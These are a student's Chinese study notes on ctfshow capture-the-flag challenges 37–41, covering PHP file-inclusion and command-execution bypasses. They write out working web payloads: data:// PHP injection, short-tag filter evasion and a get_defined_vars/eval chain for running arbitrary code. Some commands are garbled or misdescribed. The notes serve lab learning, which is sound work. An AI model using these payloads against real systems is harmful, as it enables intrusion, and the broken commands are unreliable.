听课笔记的理解与知识积累
课程在哔哩哔哩上https://www.bilibili.com/video/BV1jy4y1a7Ew?p=13&spm_id_from=pageDriver
ctfshow37
相较于之前多了一个include,flag被过滤
通过data://text/plain协议来进行漏洞利用。
?c=data://text/plain,<?php phpinfo();?>
发现执行成功
?c=data://text/plain,<?php system("mv flag.php");?>
将文件复制到1.txt 再将flag的用占位符替代一个然后这样去执行得到flag,再访问1.txt就可得到
ctfshow38
将php过滤了
原本的php由<?代替 <?为短字符
然后改下复制到1.txt 就可以得到了
ctfshow39
然后就会得到flag
ctfshow40
这个是代码的解释与意思从后往前看
这个代码是通过货币信息去这个点
然后扫描当前目录
将目录的结果进行翻转
然后取下一个显示源码
?c=show_source(next(array_reverse(scandir(pos(localeconv)))))
另一种方法
先将变量打印出来,我们可以得到当前的所有变量
代码
?c=print_r(get_defined_vars())
加一个post数组再用next
?c=print_r(next(get_defined_vars()))
就可以拿到一个数组拿到数组后对数组进行一个弹出然后打印一下
?c=print_r(array_pop(next(get_defined_vars())));
发现弹出然后我们知道需要让它执行了就可以了
?c=print_r(eval(array_pop(next(get_defined_vars())))):
ctfshow41
过滤了特别多的东西
看不懂 要用脚本来做,对脚本这些还是不太了解,不会
题目总结
37
通过data://text/plain协议来进行漏洞利用。
?file=data://text/plain,<?php phpinfo();?>
?c=data://text/plain,<?php system("mv flag.php");?>
关于一些知识点也包含file=data,涵盖很广,文件包含漏洞相关知识总结
原文链接:https://blog.csdn.net/qq_27710251/article/details/108039876
38
原本的php由<?代替 <?为短字符
然后改下复制到1.txt 就可以得到了
39
还有 cat的过滤
将php,flag用占位符代替掉就好
深入了解文件包含和命令执行的问题
40
这个是代码的解释与意思从后往前看
这个代码是通过货币信息去这个点
然后扫描当前目录
将目录的结果进行翻转
然后取下一个显示源码
?c=show_source(next(array_reverse(scandir(pos(localeconv)))))
另外一种方法
?c=print_r(get_defined_vars())
加一个post数组再用next
拿到数组
?c=print_r(next(get_defined_vars()))
拿到数组后对数组进行一个弹出然后打印一下
?c=print_r(array_pop(next(get_defined_vars())));
发现弹出然后我们知道需要让它执行了就可以了
eval()执行函数
?c=print_r(eval(array_pop(next(get_defined_vars())))):
对函数了解不够深刻,先记下再去理解
40
不会就还没总结